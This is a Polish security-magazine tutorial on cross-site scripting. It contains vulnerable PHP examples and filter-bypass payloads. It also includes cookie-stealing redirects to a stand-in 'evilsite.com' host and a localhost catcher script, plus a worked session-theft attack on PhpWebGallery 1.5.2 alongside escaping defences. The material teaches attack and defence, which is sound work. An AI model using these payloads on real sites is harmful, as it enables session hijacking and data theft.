www.hakin9.org
hakin9 Nr 5/2007
24
Atak
C
ross-Site Scripting (dalej zwane XSS)
jest obecnie jedną z najczęściej wy-
stępujących podatności witryn na atak.
Skutkuje ona jednocześnie ogromną ilością
exploitów i błędów, omawianych każdego dnia
na grupach dyskusyjnych dotyczących bezpie-
czeństwa. Pod względem popularności ustę-
puje ona jedynie niesławnemu przepełnianiu
buforu. Mimo że niektórzy ludzie traktują XSS
jako mało wyrafinowaną technikę, stosowa-
ną głównie przez początkujących agresorów
(script kiddies), może ona być groźna.
Do przeprowadzenia ataku wymagana
jest jedynie przeglądarka, przy czym dobrze
przygotowany atak wymaga dobrej znajomości
języków skryptowych oraz zagadnień dyna-
micznych witryn.
Podstawowym błędem umożliwiającym
przeprowadzenie ataku XSS (podobnie, jak
w przypadku przepełnień buforu) jest nieod-
powiednie filtrowanie i sprawdzanie danych
przesyłanych przez użytkownika.
Wyobraźmy sobie internetową księgę go-
ści. Odwiedzający jest proszony o pozosta-
wienie w niej wpisu widocznego przez wszyst-
kich. Złośliwy użytkownik może jednak zosta-
wić, zamiast wiadomości, kod JavaScript. Jeśli
skrypt nie sprawdza danych wprowadzonych
przez użytkownika pod kątem nieodpowiedniej
zawartości, do strony zostanie załączony kod,
który wykona się w przypadku każdego odwie-
dzającego z włączoną obsługą JavaScript.
Niektórzy sądzą, że w ten sposób nie mo-
gą zostać wykradzione żadne istotne informa-
cje, jednak jest to dalekie od prawdy. W wielu
przypadkach istotne dane, takie jak informacje
uwierzytelniające czy dane osobiste, mogą być
przechowywane w ciasteczkach, treści strony,
bądź adresie URL. We wszystkich tych przy-
padkach istnieje możliwość wykradzenia ich
przez atakującego.
XSS – Cross-Site Scripting
Paul Sebastian Ziegler
stopień trudności
Odkąd Internet stał się istotnym elementem życia wielu ludzi,
bezpieczeństwo witryn stało się kluczowym zagadnieniem dla
webmasterów. Wstrzykiwanie własnego kodu do zmiennych w
dynamicznych stronach okazało się bardzo poważnym, ale też
interesującym zagrożeniem. Na kolejnych stronach niniejszego
artykułu poznasz zasady działania ataków XSS i dowiesz się, jak
przeprowadzać je w praktyce.
Z artykułu dowiesz się
• jak wstrzykiwać kod w podatne na atak witryny,
• jak omijać podstawowe mechanizmy filtrujące,
• jak zabezpieczać strony przeciwko atakom XSS.
Co powinieneś wiedzieć
• podstawy języka HTML,
• podstawy JavaScript,
• zasady działania dynamicznych witryn.
Wstrzykiwanie kodu
hakin9 Nr 5/2007
www.hakin9.org
25
Jak pokazuje ogromna liczba
odnotowanych incydentów, proceder
ten jest szeroko rozpowszechniony.
Aby sobie wyobrazić, jak po-
wszechne i łatwe do przeprowadze-
nia jest to działanie, należy uświado-
mić sobie, że podatna na zagrożenie
jest każda witryna wyświetlająca da-
ne wprowadzone przez użytkownika,
które nie zostały poddane odpowied-
niemu filtrowaniu.
Mimo że zasady odpowiedniego
filtrowania są znane od dosyć daw-
na, każdego dnia odkrywane są no-
we podatności nawet podstawowych
i popularnych aplikacji na tego typu
ataki. Dla przykładu, w ciągu ostat-
nich dwóch miesięcy, ofiarami ata-
ków XSS padły takie serwisy jak
amanzon.co.jp, icq.com oraz MIME-
Sweeper For Web.
Podstawy
Na początek przeanalizujmy skrypt
PHP widoczny na Listingu 1. By zaob-
serwować działanie ataku, będziesz
musiał umieścić go na swoim serwe-
rze http. Miej przy tym na uwadze fakt,
że niektóre serwery http mają wbudo-
waną i domyślnie włączoną obsługę
filtrowania danych wprowadzanych
przez użytkownika, by zapobiec ata-
kom XSS. Jeśli Twój serwer oferuje
taką funkcjonalność, do celów testo-
wych będziesz musiał ją wyłączyć.
Skieruj dowolną przeglądarkę
pod adres ze skryptem. Ujrzysz for-
mularz z dwoma polami do wprowa-
dzania tekstu wraz z krótkimi infor-
macjami. Jest to często spotykany
przypadek. To, co wpiszesz w pola,
zostanie zaprezentowane na kolejnej
stronie. Spróbuj teraz wprowadzić
następujący tekst do pola textarea:
< s c r i p t > a l e r t( " p o d a t n o ś ć " );
</script>.
Po wysłaniu formularza zobaczysz
wyskakujący alarm ze słowem podat-
ność, jak to przedstawione jest na Ry-
sunku 1. Gratulujemy, właśnie wstrzyk-
nąłeś kod JavaScript do witryny.
Co się stało
Przyjrzyjmy się Listingowi 2, który
zawiera dynamicznie wygenerowany
kod HTML. Jak widać, informacje
wprowadzone przez użytkownika są
wklejane bezpośrednio do kodu stro-
ny. Wprowadzając kod skryptowy do
pola textarea, otrzymamy tym samym
witrynę z naszym kodem, obecnym
w kodzie HTML. Przeglądarka odwie-
dzająca stronę nie będzie wiedziała,
skąd pochodzi kod i jakie było pier-
wotne założenie witryny. Zinterpre-
tuje i wykona kod obecny w bloku
<script>
, tak jak to zwykle robi.
Listing 1.
Podatny skrypt
<?
php
setcookie
(
"xss"
,
"Ta treść zostanie zawarta w ciasteczku"
)
;
$text
=
$_GET
[
'text'
]
;
$title
=
$_GET
[
'title'
]
;
if
(
!
$text
&& !
$title
){
echo
'
<
html
>
<
head
>
<
title
>
XSS-Test | Wpisz wiadomość
<
/title
>
<
/head
>
<
body
>
<
form action=
"example.php"
>
<
input type=
"text"
name=
"title"
value=
"Temat"
><
br
/
><
br
/
>
<
textarea name=
"text"
rows=
"16"
cols=
"100"
>
Treść...
<
/textarea
><
br
/
>
<
input type=
"submit"
name=
"send"
value=
"Wyślij wiadomość"
>
<
/form
>
<
/body
>
<
/html
>
';
}
if (!$text && $title){
echo '
Musisz wprowadzić wiadomość
<
br
/
><
a href=
"example.php"
>
Wróć
<
/a
>
';
}
if (!$title && $text){
echo '
Musisz wprowadzić tytuł
<
br
/
><
a href=
"example.php"
>
Wróć
<
/a
>
';
}
if ($text && $title) {
echo '
<
html
>
<
head
>
<
title
>
XSS-Test | Nowe wiadomości
<
/title
>
<
/head
>
<
body
>
<
h3
>
Twoje nowe wiadomości:
<
/h3
><
br
/
>
<
b
>
'.$title.'
<
/b
><
br
/
>
'.$text.'
<
/body
><
/html
>
';
}
?>
Rysunek 1.
Przeglądarka pokazująca alarm
hakin9 Nr 5/2007
www.hakin9.org
Atak
26
Tak wykonany kod będzie działał
niezależnie od zaimplementowanych
systemów obronnych strony, niwelu-
jąc sens enkrypcji strumieni i podob-
nych technik.
Analiza skryptu PHP
Przyczyna, dzięki której można
było tak łatwo przeprowadzić atak,
widoczna jest po przyjrzeniu się
skryptowi PHP.
echo '...'.$title.'<br
/>'.$text.'...';
nie robi nic więcej po-
za wyświetleniem przypisanych do
zmiennych treści, wysłanych przez
użytkownika.
Podobne mechanizmy są spotykane
w wielu aplikacjach webowych, np.:
• księgach gości,
• forach dyskusyjnych,
• prywatnych wiadomościach,
• blogach,
• encyklopediach Wiki
Różnica w stosunku do prawdziwych
aplikacji webowych polega na tym,
że przechowują one wprowadzany
tekst w bazach danych i wyświetlają
go na konkretne żądanie. Nie sądź-
my jednak, że tylko aplikacje webo-
we otrzymujące bezpośrednie dane
od użytkownika są podatne na za-
grożenie atakiem. Skrypty mogą być
także dołączane do niefiltrowanych
e-maili: wielu spośród poważnych
dostawców systemów webmail mia-
ło w przeciągu ostatnich lat kłopoty
z podatnościami na XSS.
Istotne treści
Przypatrzmy się jednej z najprost-
szych metod wykradania istotnych
treści. Często takie dane zawarte są
w ciasteczkach. Ciasteczka z kolei
są zazwyczaj używane do przecho-
wywania danych uwierzytelniających
użytkownika, identyfikatorów sesji
oraz zahashowanych zmiennych.
Inne dane także mogą być cenne dla
atakującego, chociażby ustawienia
preferencji czy daty logowania.
Skrypt PHP umieszcza ciastecz-
ko w Twoim komputerze. Spróbujmy
uzyskać do niego dostęp przy pomo-
cy JavaScriptu. Wróćmy do podatnego
skryptu PHP i tym razem wpiszmy w
pole textarea
<script>alert(document.
cookie);</script>
.
Ujrzysz wiadomość podobną do
tej, jaką obrazuje Rysunek 2. Poja-
wi się okno alarmowe ze słowami
xss=Ta+treść+zostanie+zawarta-
+w+ciasteczku. W tym wypadku,
xss to nazwa ciasteczka, zaś Ta+tre-
ść+zostanie+zawarta+w+ciasteczku
to jego zawartość. Oczywiście, w ten
sposób można odczytać zawartość
wielu ciasteczek.
Możemy więc wyświetlić alarm
z treścią ciasteczka. To jednak nie jest
jeszcze niebezpieczne w przypadku
ataku, w najgorszym razie zdenerwuje
tylko użytkownika i spowoduje jego
podejrzenie, że coś nie jest w porząd-
ku. Jak zawartość ciasteczka może
zostać przekazana do atakującego?
Jak zwykle jest kilka sposobów
osiągnięcia celu. W tym artykule po-
każemy jedną z najbardziej podsta-
wowych możliwości. Przekierujemy
przeglądarkę użytkownika na inny
adres, podając zawartość ciasteczka
jako argument. W tym wypadku, dru-
ga witryna będzie najpewniej skryp-
tem, który zapisze przekazywaną
treść do bazy danych lub pliku.
Tak wygląda teoria, przejdźmy
teraz do praktyki. Ponownie skieruj
przeglądarkę do podatnego skryp-
tu PHP. Do pola textarea wpisz
<script>document.location="http://
www.evilsite.com/evilscript.php?
info="+document.cookie;</script>
.
Zobaczysz informację zbliżoną
do tej, jaka widoczna jest na Rysun-
ku 3. Przeglądarka przekierowała się
na witrynę evilsite.com i przekazała
informacje z ciasteczka. W przypad-
ku rzeczywistego ataku, treść zosta-
łaby właśnie wykradziona.
Proste filtrowanie
Jak udowodniliśmy, dynamicznie
tworzone strony są podatne na ataki
XSS, gdy wyświetlają treść podaną
przez użytkownika bez filtrowania.
Jak więc zabezpieczyć się przed tego
typu atakiem? W tej części artykułu
przyjrzymy się podstawowym tech-
nikom filtrowania i omówimy, w jaki
sposób mogą one być ominięte.
Listing 3. zawiera ten sam skrypt
PHP, co Listing 1, implementuje jednak
dodatkową funkcję
filter()
. Funkcja ta
przeszukuje łańcuch podany jako jej
argument, usuwając tagi
<script>
i
</script>
. Skrypt stosuje funkcję
Rysunek 3.
Przeglądarka po przekierowaniu na inną stronę
Rysunek 2.
Przeglądarka wyświetlająca dane z ciasteczka
Listing 2.
Kod HTML po ataku
<
html
>
<
head
>
<
title
>
XSS-Test | Nowe wiadomości
<
/title
>
<
/head
>
<
body
>
<
h3
>
Twoje nowe wiadomości:
<
/h3
><
br
/
>
<
b
>
Temat
<
/b
><
br
/
>
<
script
>
alert("podatność");
<
/script
>
<
/body
>
<
/html
>
Wstrzykiwanie kodu
hakin9 Nr 5/2007
www.hakin9.org
27
filter()
w odniesieniu do obydwu
zmiennych, które przechowują dane
wprowadzone przez użytkownika.
Jeśli zatem wytniemy tagi, nie
będziemy mogli zastosować wcze-
śniej zaprezentowanego kodu. Mimo
wszystko, taki sposób filtrowania nie
jest bezpieczny. Istnieje co najmniej
kilka sposobów ominięcia opisanego
mechanizmu filtrującego. Przyjrzyj-
my się im poniżej.
Omijanie
podstawowego
filtrowania
Ponieważ nie możemy umieścić na-
szego kodu w tagach
<script>
, będzie-
my musieli wkleić go w inne miejsce.
Odnośniki stają się w tym mo-
mencie przydatnym narzędziem,
mogą bowiem zawierać kod Java-
Script, umożliwiając webmasterom
tworzenie bardziej dynamicznych
stron. Dla przykładu, mogą one
posłużyć do otwierania niewielkich
okien, zawierających dokładniejszy
opis produktu, lub przeprowadzać
bardziej kompleksowe akcje przy
użyciu frameworka JavaScript.
Skieruj przeglądarkę do poprawio-
nego skryptu PHP. Możesz ustalić, że,
w istocie, po zastosowaniu filtrowania,
nie działa opisana przez nas wcze-
śniej metoda. Wpiszmy do pola texta-
rea link. Zamiast podawać adres URL,
wpiszemy identyfikator
javascript
:,
zaś za nim – nasz kod. Kompletny
link powinien wyglądać na przykład
tak:
<a href="javascript:alert('wciąż
podatny');">Kliknij Mnie!</a>.
Po najechaniu kursorem na link,
w pasku statusu przeglądarki pojawić
się powinna treść podobna do tej, ja-
ką obrazuje Rysunek 4. Kliknięcie
na odnośnik spowoduje wykonanie
kodu JavaScript, co zaowocuje wy-
świetleniem alarmu wciąż podatny.
Oczywiście, metody wcześniej użyte
do wykradania zawartości ciastek są
w tym wypadku także funkcjonalne.
Na pierwszy rzut oka wydaje się, że
użytkownik nie kliknie na taki odnośnik.
W końcu będzie on widział kod Java-
Script w pasku statusu przeglądarki, co
powinno wzbudzić jego podejrzenia.
Z drugiej strony, należy jednak
pamiętać o tym, że większość In-
ternautów nie zna JavaScriptu, nie
wie więc, co stanie się po kliknięciu
odnośnika. W praktyce, wielu użyt-
kowników sieci nie jest nawet obe-
znanych z koncepcją linkowania.
Dodatkowo, ludzie rzadko spraw-
dzają, dokąd link ich zaprowadzi.
Wszyscy ufamy, że otrzymamy treść
zgodną z opisem odnośnika. Tak
więc istnieje realna szansa, że link
opisujący dokładniejsze informacje,
czy informujący o tanich zegarkach,
zostanie kliknięty.
Nawet jeśli użytkownik nie naci-
śnie przycisku, wciąż możemy wy-
konać kod. Posłuży nam do tego
efekt onmouseover. Efekty tego ro-
dzaju są zaimplementowane w celu
tworzenia interaktywnych witryn.
Listing 3.
Skrypt PHP z podstawowym filtrowaniem
<?
php
setcookie
(
"xss"
,
"Ta treść zostanie zawarta w ciasteczku"
)
;
$text
=
$_GET
[
'text'
]
;
$title
=
$_GET
[
'title'
]
;
function
filter
(
$input
){
$input
=
ereg_replace
(
"
<
script
>
", "",
$input
);
$input
= ereg_replace("
<
/script
>
", "
",
$input
)
;
return
$input
;
}
$text
= filter
(
$text
)
;
$title
= filter
(
$title
)
;
if
(
!
$text
&& !
$title
){
echo
'
<
html
>
<
head
>
<
title
>
XSS-Test | Wpisz wiadomość
<
/title
>
<
/head
>
<
body
>
<
form action=
"simple.php"
>
<
input type=
"text"
name=
"title"
value=
"Temat"
><
br
/
><
br
/
>
<
textarea name=
"text"
rows=
"16"
cols=
"100"
>
Treść...
<
/textarea
><
br
/
>
<
input type=
"submit"
name=
"send"
value=
"Wyślij wiadomość"
>
<
/form
>
<
/body
>
<
/html
>
';
}
if (!$text && $title){
echo '
Musisz wpisać wiadomość
<
br
/
><
a href=
"simple.php"
>
Wróć
<
/a
>
';
}
if (!$title && $text){
echo '
Musisz wpisać tytuł
<
br
/
><
a href=
"simple.php"
>
Wróć
<
/a
>
';
}
if ($text && $title) {
echo '
<
html
>
<
head
>
<
title
>
XSS-Test | Nowa wiadomość
<
/title
>
<
/head
>
<
body
>
<
h3
>
Twoje nowe wiadomości:
<
/h3
><
br
/
>
<
b
>
'.$title.'
<
/b
><
br
/
>
'.$text.'
<
/body
><
/html
>
';
}
?>
Rysunek 4.
Pasek statusu prze-
glądarki pokazujący kod JavaScript
hakin9 Nr 5/2007
www.hakin9.org
Atak
28
Przykładowo, jeśli najedziemy kur-
sorem na menu, może zmieniać się
jego wygląd w zależności od pozycji,
nad którą jest kursor. Do zmiany wy-
glądu służy właśnie efekt onmouse-
over: w przypadku najechania kurso-
rem, podmieniane są grafiki. Zaim-
plementujmy więc opisany atak. Do
poprawionego skryptu wpiszmy:
<a onmouseover="javascript:alert
('podatność bez klikania')">
Przesuń tu kursor!</a>.
Teraz najedź kursorem na tekst.
Przeglądarka wykona kod, wyświe-
tlając alarm podatność bez klikania.
Ponieważ ten tekst nie wygląda
inaczej niż reszta odnośników, użyt-
kownikowi trudno będzie go odróżnić
– jest całkiem realna szansa, że na-
jedzie na niego kursorem.
Można zastosować kilka trików,
by być pewniejszym efektu, np. załą-
czyć więcej tekstu lub grafiki.
W zależności od wyglądu i ukła-
du witryny, powinno to dać ogromne
szanse na wykonanie Twojego kodu.
Zaawansowane
filtrowanie
Pokazaliśmy, jak można wkleić do wi-
tryny szkodliwy kod i jak ominąć pod-
stawowe filtrowanie. Przyjrzyjmy się
teraz bezpieczniejszemu sposobo-
wi ochrony przeciwko XSS. Obronić
można się przed tego typu atakiem na
dwa podstawowe sposoby: możemy
eskejpować wszystkie specjalne zna-
ki lub użyć wyrażeń regularnych do
usunięcia niebezpiecznych znaczni-
ków. Oba sposoby mają swoje wady i
zalety, które przedstawimy w dalszych
akapitach tego tekstu.
Listing 4. zawiera finalną wersję
naszego skryptu PHP. Tym razem uży-
wamy funkcji
htmlentities()
do eskej-
powania treści wprowadzonych przez
użytkownika, zamieniając wszystkie
specjalne znaki na ich odpowiedniki
w HTML. Sekwencje eskejpujące są
używane w celu zamienienia znaków
specjalnych na kilka określonych zna-
ków standardowych, niwelując proble-
my z różnymi kodowaniami.
Dla przykładu, niemiecka litera Ä
jest reprezentowana przez sekwen-
cję
Ä
. Dzięki temu, odpowiedni
znak zostanie wyświetlony nieza-
leżnie od tego, jakiego kodowania
używa Twoja przeglądarka. Możemy
jednak użyć tego systemu także do
naszych celów, bowiem eskejpowa-
ne znaki tylko wyglądają jak znaki,
które reprezentują, nie posiadają
jednak ich funkcjonalności.
Przeanalizujmy to zagadnienie w
oparciu o odpowiedni przykład. Ciągi
znaków
<script>
oraz
<script>
;
wyglądają po przeanalizowaniu do-
kładnie tak samo, jednak przeglądarka
inaczej potraktuje ciąg
<script>
(jako
znacznik), zaś inaczej
<script>
;
(jak normalny ciąg znaków).
Mając to na uwadze, łatwo od-
kryjemy, że jest to skuteczna obro-
na przeciwko atakom XSS – cokol-
wiek wpisze użytkownik, zostanie
to potraktowane jak normalny ciąg
Metody załączania kodu
Załączanie czystego kodu do podatnej na atak witryny to jedna z wielu możliwości.
Jak opisano w artykule, kod może być załączony także wewnątrz linków i przy użyciu
efektów onmouseover. Przyjrzyjmy się innym potencjalnym miejscom i technikom
załączania kodu. Niektóre z nich są zależne od przeglądarki, nie muszą więc działać
w przypadku Twojej konfiguracji.
<SCRIPT SRC=http://www.evilsite.com/evilcode.js></script>
Dzięki załączaniu skryptów umieszczonych w zewnętrznych plikach możemy ominąć
zabezpieczenie określające maksymalne rozmiary. Kod nie będzie też bezpośrednio
widoczny w kodzie HTML, przez co będzie trudniejszy do wykrycia. W niektórych przy-
padkach może być zaimplementowany mechanizm blokujący załączanie kodu z innych
witryn. Należy jednak pamiętać, że rozszerzeniem nie musi wcale być .js.
Jeśli do witryny możemy załączyć grafiki, często udaje się oszukać aplikację,
uploadując plik harmless.jpg, lecz jako odnośnik do grafiki podając kod. Ponieważ
serwer będzie przechowywał plik, odnośnik będzie traktowany najczęściej jako obiekt
bezpieczny. Jeśli możemy podać adres odnośnika do grafiki, możemy wkleić kod
w następujący sposób:
<img src=”javascript:alert('podatność');”>
W przypadku, gdy filtrowane są apostrofy, możemy użyć ich ekwiwalentów w postaci
ustalonych ciągów znakowych (HTML entities):
<a href="javascript:alert("XSS")">Kliknij!</a>
Poniższa konstrukcja pozwala na wykonanie kodu po załadowaniu witryny (onload).
Może być ona wykorzystana, jeśli użytkownik ma wpływ na wygląd całej witryny, włącz-
nie z atakiem
<body>.
<body onload=alert("podatność")>
Przeglądarki oparte o silnik Gecko często wykonują kod, który jest umiejscowiony przed
nowootwartym tagiem. Spowodowane jest to tym, że zamykają one automatycznie nie-
zamknięte tagi. W poniższym przypadku, link zostanie przypisany do znaku <, co może
być szczególnie przydatne, jeśli operujemy wewnątrz znacznika.
<a href="javascript:alert('podatność'); <
W przypadku otwierania podstrony w znaczniku iframe, wykonywany jest kod załą-
czanej strony. W takiej sytuacji strona evilscript.html mogłaby zawierać szkodliwy kod
atakującego.
<iframe src=http://www.evilsite.com/evilscript.html>
Naturalnie, kod JavaScript może być także przypisany bezpośrednio do znacznika iframe.
<iframe src="javascript:alert('vulnerable');"></iframe>
Wstrzykiwanie kodu
hakin9 Nr 5/2007
www.hakin9.org
29
znaków. Nie będziemy mogli wyko-
nać kodu – efekt będzie przypominał
to, co uwidacznia Rysunek 5.
Druga koncepcja jest o wiele prost-
sza do wyjaśnienia. Zamiast zamieniać
niebezpieczne treści przez eskejpowa-
nie, po prostu je wycinamy. Takimi tre-
ściami mogą być znaczniki
<script>
lub
kod JavaScript wewnątrz odnośników
itp. Istotne jest zbudowanie sprawnej
i kompletnej bazy wyrażeń regularnych
opisujących niebezpieczne treści, by
móc je potem usunąć, to jednak zagad-
nienie na osobny artykuł. Jeśli chcesz
zgłębić wiedzę na ów temat, polecamy
przejrzenie linków z ramki W Sieci.
Wady obydwu metod
Jak widzimy, istnieją dwie koncepcje
ochrony przed atakami XSS. Przyj-
rzymy się, jakie są ich słabe strony.
Eskejpowanie wszystkich spe-
cjalnych znaków jest najprostszą
i najbezpieczniejszą metodą ochrony
przed atakami XSS. Z drugiej strony,
postepując w ten sposób, zabloku-
jemy możliwość użycia wszystkich
znaków specjalnych i znaczników.
Spowoduje to, że użytkownik nie
będzie mógł używać żadnych tagów
HTML w swojej treści. Jeśli chcemy
pozostawić możliwość użycia niektó-
rych tagów użytkownikowi, musimy
zaimplementować osobny interfejs
do tworzenia np. odnośników.
Wycinanie treści przy użyciu wy-
rażeń regularnych nie wiąże się już
z powyższym mankamentem, ponie-
waż nie usuwa niczego więcej po-
za określonymi treściami. Powsta-
je jednak przy tym zasadniczy pro-
blem: nowe sposoby ataków i miejsca
do wklejenia kodu są odkrywane do-
syć często, czasami zmienia się tak-
że struktura samego języka HTML.
By zachować bezpieczeństwo, musi-
my utrzymywać aktualne wersje wy-
rażeń regularnych. Z tego powodu,
drugi sposób obrony chroni jedynie
przed już znanymi sposobami ataku
– nasz kod będzie podatny na nowo-
odkryte luki.
Rzeczywistość
Pokazaliśmy czym jest XSS i jak
może być przeprowadzony i unie-
możliwiony. Dla celów edukacyj-
nych używaliśmy załączonych przy-
kładowych skryptów. Przyjrzymy się
teraz określonym aplikacjom i możli-
wościom ataków w rzeczywistości.
4 lipca 2006 roku ludzie z Moroc-
can Security Research Team wysła-
li e-mail na listę mailingową BUG-
TRAQ. Zawierał on oświadczenie,
w którym informowali oni o tym, że
znaleźli podatność na atak XSS w
systemach PhpWebGallery w wersji
1.5.2 i poprzednich.
Problem leży w pliku com-
ments.php, który oferuje wyświetla-
nie i filtrowanie komentarzy użytkow-
ników, treść wprowadzana w miejsce
słowa kluczowego nie jest jednak po-
prawnie sprawdzana. Spróbujmy użyć
tej podatności, by wykraść ciastko
użytkownika.
Podatną wersję 1.5.2 można zna-
leźć na dołączonym do pisma CD. Wy-
starczy uruchomić livecd i skierować
Firefoxa pod adres http://localhost/
phpwebgallery/comments.php. Mimo
że wysłany e-mail zawierał kod będą-
Listing 4.
Skrypt PHP zabezpieczony eskejpowaniem znaków
<?
php
setcookie
(
"xss"
,
"Ta treść zostanie zawarta w ciasteczku"
)
;
$text
=
$_GET
[
'text'
]
;
$title
=
$_GET
[
'title'
]
;
function
escaping
(
$input
){
$input
= htmlentities
(
$input
)
;
return
$input
;
}
$title
= escaping
(
$title
)
;
$text
= escaping
(
$text
)
;
if
(
!
$text
&& !
$title
){
echo
'
<
html
>
<
head
>
<
title
>
XSS-Test | Wpisz wiadomość
<
/title
>
<
/head
>
<
body
>
<
form action=
"advanced.php"
>
<
input type=
"text"
name=
"title"
value=
"Temat"
><
br
/
><
br
/
>
<
textarea name=
"text"
rows=
"16"
cols=
"100"
>
Treść...
<
/textarea
><
br
/
>
<
input type=
"submit"
name=
"send"
value=
"Wyślij wiadomość"
>
<
/form
>
<
/body
>
<
/html
>
';
}
if (!$text && $title){
echo '
Musisz wpisać wiadomość
<
br
/
><
a href=
"advanced.php"
>
Wróć
<
/a
>
';
}
if (!$title && $text){
echo '
Musisz wpisać tytuł
<
br
/
><
a href=
"advanced.php"
>
Wróć
<
/a
>
';
}
if ($text && $title) {
echo '
<
html
>
<
head
>
<
title
>
XSS-Test | Nowe wiadomości
<
/title
>
<
/head
>
<
body
>
<
h3
>
Twoje nowe wiadomości:
<
/h3
><
br
/
>
<
b
>
'.$title.'
<
/b
><
br
/
>
'.$text.'
<
/body
><
/html
>
';
}
?>
hakin9 Nr 5/2007
www.hakin9.org
Atak
30
cy exploitem, użyjemy tutaj własnego
kodu do przeprowadzenia ataku.
Wiemy, że podatna na atak jest
zmienna związana ze słowami klu-
czowymi, sprawdźmy więc, jak jest
ona wklejana do kodu HTML. By to
zrobić, wpiszemy do tego pola jakiś
ciąg znaków, a następnie wyszuka-
my go w otrzymanym kodzie HTML.
W tym wypadku, użyłem ciągu
XSScodegoeshere.
Po wysłaniu formu-
larza, znajdziemy ten ciąg znaków
między kodem:
<label>Keyword<input type="text"
name="keyword"
value="XSScodegoeshere" />
</label>
Jak widzimy, treść, jaką wpiszemy
w polu, jest następnie przypisywana
do parametru value pola input oraz
otaczana cudzysłowami. Z tego też
powodu, pierwsze, z czym się upo-
ramy, to wyjście poza cudzysłowy i
nawiasy znacznikowe. Na szczęście
dla nas, witryna nie filtruje ciągu “>”,
więc możemy go użyć.
Spójrzmy, jak będzie wyglądał
kod HTML po umieszczeniu powyż-
szych znaków przed naszym ciągiem
znaków:
<label>Keyword<input type="text"
name="keyword"
value="\">XSScodegoeshere" />
</label>
Jak widać, nasz ciąg jest teraz po-
za cudzysłowami i znacznikiem.
Dzięki temu, przeglądarka potrak-
tuje go jako część witryny, któ-
rą może zinterpretować. Ponieważ
chcemy wykraść ciastko, będziemy
musieli się najpierw zalogować, by
takie ciastko otrzymać. Przechodzi-
my więc pod adres http://localhost/
phpwebgallery/ i logujemy się przy
użyciu nazwy admin oraz hasła
hakin9. Następnie wracamy na
stronę z komentarzami.
Mamy już wszystko, co potrzeb-
ne jest do przeprowadzenia ataku.
Wiemy, że pole ze słowami kluczo-
wymi jest podatne na atak, możemy
opuścić cudzysłowy i znaczniki, ma-
my także ciastko na twardym dysku.
Zanim przystąpimy do wykra-
dania ciastka użytkownika przez
Rysunek 6.
PHPWebGallery alarmujące treścią ciasteczka użytkownika
Rysunek 5.
Nieskuteczny atak XSS dzięki wykorzystaniu eskejpowania
Tabela 1.
Najczęściej stosowane sekwencje eskejpujące w HTML
Znak
Sekwencja eskejpująca
“
" "
&
& &
+
+
<
< <
>
> >
=
=
\
\
[
[
]
]
^
^
{
{
}
}
Listing 5.
Skrypt PHP
zapisujący przekazany
argument do pliku
<?
php
$file
=
fopen
(
"pwsave.txt"
,
"w"
)
;
fwrite
(
$file
,
$_GET
[
pw
])
;
fclose
(
$file
)
;
?>
Wstrzykiwanie kodu
hakin9 Nr 5/2007
www.hakin9.org
31
przekierowanie go do szkodliwej
strony, sprawdźmy, czy nasz kod
zadziała w przypadku alarmu. Uży-
jemy ciągu:
"><script>alert(document.cookie)
</script>
Ujrzysz obraz podobny do tego,
jaki widać na Rysunku 6. – cia-
steczko najwyraźniej przechowu-
je identyfikator sesji użytkownika.
Sfinalizujmy atak: przekierujemy
użytkownika do witryny, która za-
pisze treść przekazanego jej para-
metru do pliku.
Taki skrypt znajduje się także na
hakin9-livecd, znajdziesz go pod na-
zwą catcher.php. Do przekierowania
użyjemy funkcji document.location,
dołączając treść ciasteczka.
“><script>document.location =
“http://localhost/catcher.php?pw=”
+document.cookie</script>
Po wysłaniu takiej treści w formula-
rzu, Firefox przekieruje nas do skryp-
tu, który zapisze treść ciasteczka do
pliku pwsave.txt, skąd będziemy
mogli ją odczytać.
Zauważyłeś zapewne, że chociaż
atak działa idealnie, ma pewien nielo-
giczny punkt. Dlaczego bowiem użyt-
kownik miałby samemu wpisywać taki
ciąg znaków do formularza? Oczywi-
ście, zapewne by tego nie zrobił.
Na nasze szczęście, dostęp do
zmiennej keyword możemy także
otrzymać przez URL. Preparując od-
powiednio adres, możemy w nim za-
wrzeć szkodliwy kod. Następnie wy-
starczy, by użytkownik kliknął na taki
odnośnik, co powinno być proste do
osiągnięcia przy pewnej wiedzy so-
cjotechnicznej. By przekazać spe-
cjalne znaki w adresie URL, musimy
je eskejpować. Nie należy się jednak
obawiać – nie wpłynie to na ich inter-
pretację, bowiem serwer przywróci je
do stanu znaków specjalnych przed
wygenerowaniem dynamicznej stro-
ny. Nasz końcowy ciąg, służący do
ataku, ma następującą postać: http://
localhost/phpwebgallery/comments
.php?keyword=%22%3E%3Cscript
%3Edocument.location=%22 http://
localhost/catcher.php?pw=%22+do-
cument.cookie%3C/script%3E.
Jeśli zmusimy użytkownika do
odwiedzenia tej strony, nasz skrypt
wykradnie jego ciasteczko. Gratu-
lujemy!
Podsumowanie
Jak pokazaliśmy, XSS można
przeprowadzić na wiele różnych
sposobów. Na niezabezpieczonej
witrynie daje on ogromne możliwo-
ści wykradania informacji i wprowa-
dzania w błąd. Mimo wszystko, nie-
którzy wciąż uważają XSS za za-
bawkę dla młodocianych hakerów,
która w najgorszym wypadku wy-
świetli nam denerwujące okienko.
My jednak już wiemy, że sytuacja
jest dużo poważniejsza.
Każdy webmaster powinien pod-
jąć stosowne kroki w celu zabez-
pieczenia swoich aplikacji przed te-
go typu atakami. Jakim sposobem
chronić nasze formularze? To już
kwestia gustu, pozostającego do
dyspozycji czasu, ale także funkcjo-
nalności aplikacji. Z tego też powodu
trudno jest przedstawić uniwersalne
rozwiązanie tego problemu – jak to
zazwyczaj bywa w przypadku bez-
pieczeństwa, własne rozwiązanie
jest niezbędne. Niewątpliwie poja-
wią się nowe sposoby przeprowa-
dzania ataków, powodując ponowne
narażenie naszych witryn – tak, jak
w przypadku przepełnień buforu.
W momencie, gdy wydawało
się, że wszystkie luki są możliwe do
zabezpieczenia, ktoś odkrywał nowe
podatności i łamał kod. Jeśli zatem
chcemy być bezpieczni, musimy stale
czuwać nad naszymi aplikacjami. l
W Sieci
• http://hackers.org/xss.html – Ściąga XSS,
• http://webmonkey.wired.com/webmonkey/reference/special_characters/ – lista
sekwencji eskejpujących,
• http://pixel-apes.com/safehtml/?page=safehtml SafeHTML – wstęp do filtrowania
przy użyciu wyrażeń regularnych
O autorze
Autor to obecnie uczeń ostatniej klasy w niemieckiej szkole średniej. Zaczął intere-
sować się tematyką bezpieczeństwa komputerowego na własną rękę, mając na celu
przeniesienie się do Japonii.
Kontakt z autorem: psz@observed.de
Możliwości ataku
Ten artykuł demonstruje technikę wykorzystania podatności na XSS, posłużyliśmy się
